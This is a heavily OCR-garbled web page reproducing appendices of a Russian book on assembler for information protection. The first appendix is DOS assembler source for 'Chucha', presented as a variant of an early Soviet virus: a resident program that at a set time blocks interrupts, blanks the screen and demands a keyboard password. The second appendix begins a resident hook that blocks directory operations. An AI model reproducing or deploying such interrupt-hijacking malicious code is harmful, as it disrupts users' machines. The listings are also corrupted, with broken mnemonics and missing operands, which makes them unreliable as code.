Анимация
JavaScript


Главная  Библионтека 

0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 [ 82 ] 83 84 85 86 87 88

Приложение 1

Вариант реализации одного из первых советских вирусов

==== chucha.asm =============================================

==== В определенное время блокируется система прерываний, ===

==== очищается экран и в его центр выводится сообщение ======

==== "Хочу Чучу!". Восстановление экрана и снятие блокировки

==== прерываний происходит только после ввода ===============

==== с клавиатуры последовательности символов "ЧУЧА". =======

. 286

. MODEL tiny . CODE

EQU 2145h

old 2fh EQU OFFSET start ; Адрес старого ВП 2Fh old 08h EQU OFFSET start+4

alarm

; Время активизации

old ss

old sp

new sp tmpBuf

begin:

EQU OFFSET start+8 EQU OFFSET start+10

; Адрес старого ВП OBh ; Адрес для хранения "старого" SS

; Адрес для хранения "старого" SP

EQU OFFSET inst ; Новый адрес SP

EQU OFFSET inst ; Адрес временного видеобуфера ORG lOOh

; Перейдем на загрузчик

start

; Скен-коды нажатия и отжатия клавиш X, Е, X, F (ЧУЧА) passwd DB 2Dh, OADh, 12h, 92h,2Dh, OADh, 21h, OAlh, 0

; Упакованное сообщение, выводимое при активизации

2, 2, 2, 6, 2, 2, 2,

2, 2, 2, 2

2, 2, 2, 2, 2, 2, 2,

2, 3, 2, 9

2, 1, 2, 3, 2, 2, 2,

2, 2, 2, 2

2, 2, 2, 2, 6, 2, 2,

2, 2, 2, 2

2, 2, 2, 2, 2, 2, 2,

2, 2, 3, 2

10, 3, 4, 2, 2, 2, 3

5, 3, 5, 1

5, 3, 5, 3, -5, 3, 5,

3, 2, 9, 2

1, 2, 3, 2, 2, 2, 6,

2, 6, 2, 10

2, 6, 2, 6, 2, 6, 2,

13, 2, 3, 2 ,

3, 4, 7, 2, 3, 4, 11

2, 2, 5, 7

2, 2, 5, 4, 2, 0

мая при

запуске

ЧУЧА, ODh, OAh, (c) Oleg V. Burdaev,

2000, ODh, OAh, $

txtmes

; Новый обработчик мультиплексного прерывания 2Fh -; проверка наличия в памяти первой копии программы new 2fh:

сюр ah, 0E8h jne out2fh

mov al, OFFh; Признак присутствия

P°f!y.?..} P"""" реализации одного из первых советских вирусов

iret out2fh:

jmp DWORD PTR cs:[old 2fh]

; Переход к старому обработчику ; Новый обработчик прерывания таймера OBh newJBh:

; Сохранение "старого" адреса стека, установка собственного стека

mov WORD PTR cs:[old sp], sp

mov WORD PTR cs:[old~ss], ss

xchg ax, sp

mov ax, cs

mov ss, ax

xchg ax, sp

mov sp, new sp ; Сохранение используемых регистров

push ax cx si di es ds ; Чтение текущего времени из CMOS

mov al, 2

out 70h, al

in al, 71h ; Читаем минуты

mov cl, al

mov al, 4

out 70h, al

in al, 71h ; Читаем часы

mov ch, al

cmp cx, alarm ; Проверим время активизации

]nz exittime

mov al, BOh ; Запретим немаскируемое

out 7Oh, al ; прерывание

in al, 71h ; и проверим

° al, al ; секунды текущего

]nz exittime; времени на ноль

„ i ; Запретим прерывания

; Сохраним текстовый видеобуфер

push cs

push OBBOOh

pop ds

pop es

xor si, si

mov di, tmpbuf

mov cx, 2000 lep movsw

; Очистим видеобуфер

mov cx, 2000

mov ax, 0720h

push ds

pop es

* xor di, di

fep stosw

,1 ; Выведем сообщение

P push cs

pop ds

mov di, 1600

mov si, OFFSET grphmes

mov ax, 07DBh

outmes:



reenter:

next:

cl, BYTE

cl, cl

reenter

al, OFBh

stosw

outmes

; Озкидаем ввода с

si, OFFSI

BYTE PTR

restore

ah, al

al, 60h

al, ah

next

al, [si]

reenter

next

Ассемблер в задачах защиты UHcJiopMaqujj


restore: sti

rep movsw exittime:

[si]

клавиатуры ключевой последовательности

[si], О

Читаем из порта

; клавиатуры, пока ; не будет изменений Сравним считанный код с кодом ключевой последовательности

Восстановим видеобуфер и разрешим прерывания

mov хог mov

di, сх,

tmpbuf di

2000

xor al, al out 70h, al

; Восстановим сохраненные регистры

pop ds es di si cx aX ,

; Восстановим стек

mov SS, WORD PTR cs:[old ss]

mov sp, WORD PTR cs: [oldPl

; Перейдем на старый обработчик прерывания от таймера

jmp DWORD PTR cs:[old 08h] ; Загрузчик резидентной части программы start:

mov ah, OESh; Проверим, не находится int 2fh ; ли уже эта программа

cmp al, OFFh; в памяти jz inst

; Загрузка - сохранение "старых" и установка "новых" ВП, ; вывод сообщения и завершение программы с оставлением ; в памяти 5К

ax, 352Fh

WORD PTR cs:[old 2fh], bx

WORD PTR cs:[old~2fh+2], es

ax, 3508h 21h

WORD PTR cs:[old OBh], bx

WORD PTR cs:[old~08h+2], es

ax, 252Fh

dx, OFFSET new 2fh

push

[-]риложение 1. Вариант реализации одного из первых советских вирусов

push

2508h

OFFSET new 08h

OFFSET txtmes 09h

1400h

inst:

Завершим программу

int 20h END begin

Примечания.

1) Сохраняемые вектора прерываний записываются поверх уже выполненного кода загрузчика.

2) В памяти после загрузки остаются 5Кб, 4 из которых необходимы для сохранения содержимого видеобуфера при активизации программы.

3) При совпадении текущего времени с установленным считывается дополнительно текущее значение секунд и одновременно запрещается немаскируемое прерывание.

Дополнительный анализ значения секунд позволяет избежать повторной активизации программы после ввода кодовой последовательности - выполнение продолжается только в случае равенства секунд нулю, иначе происходит переход на метку exittime.

4) После активизации программы распаковщик формирует сообщение

ЩГЧЫ ЧЫЧУ!

Это сообщение хранится в программе в запакованном виде

по адресу grphmes, каждое значение соответствует количеству

поочередно выводимых символов пробела или полного заполнения.



Приложение 2

Резидентный блокировщик доступа к директории

Приложение 2. Резидентный блокировиик доступа к директории 507

==== dirlock.asm - резидентный блокировщик === ==== доступа к директории. ===================

MODEL tiny CODE

begin:

ORG lOOh

mov dx, OFFSET crights

mov ah, 09h

int 21h

mov ah, 0E8h ;

int 2fh

cmp al, OFFh ;

jz inst

cmp BYTE PTR cs: [80h], 0

jz usage

Перевод парамеров командной строки к верхнему регистру

Проверка

; наличия резидентной части

; Уже в памяти - на выход

Командная строка пуста - на выход

tobig:

big:

xor mov mov

cmp jbe and

inc loop

cx, cl, di.

BYTE PTR big

BYTE PTR di

tobig

[80h]

[di], 61h [di], ODFh

a -> A (61h -> 41h)

Сохранение векторов прерывания mov ax, 352Fh int 21h

mov WORD PTR cs: old 2fh, bx mov WORD PTR cs: old 2fh+2, es mov ax, 3521h int 21h

mov WORD PTR cs: old 21h, bx mov WORD PTR cs: old 21h+2, es mov ax, 252Fh Установка новых векторов прерывания

push

push

dx, cs ds 21h ax, dx, cs ds 21h

OFFSET cs: new 2fh

2521h OFFSET cs:

new 21h

mov ah, 09h ; Вывод сообщения об успещной установке mov dx, OFFSET insmsg int 21h

• Завершение и оставление резидентной части объемом mov dx, lOOOh int 27h

inst:

; Вывод сообщения о выгрузке mov ah, 09h mov dx, OFFSET reramsg int 21h jmp exit

usage:

; Вывод информации об использовании mov ah, 09h mov dx, OFFSET usemsg int 21h

exit:

; Завершение программы

mov ax, 4C00h int 21h ; Обработчик прерывания 2Fh - выгрузка new 2fh:

1 Кб

ah, 0E8h

o2fh

push

push

pusha

ax, 2521h

dx, cs: old 21h

ax, 252Fh

Ь Ids

dx, cs: old 2fh

f int

f mov

es, WORD PTR cs: 2ch

ah, 49h

push

ah, 49h

popa

al, OFFh

iret

o2fh:

cs: old 2fh

> Обработчик прерывания Zlh

new 21h:

crap ah, 39h ; Функция DOS MKDIR ?

jz n21h ; Да, на новый обработчик

cmp ah, 3Ah ; Функция DOS RMDIR ?

jz n21h ; Да, на новый обработчик

cmp ah, 3Bh ; Функция DOS CHDIR ?

jz n21h ; Да, на новый обработчик



0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 [ 82 ] 83 84 85 86 87 88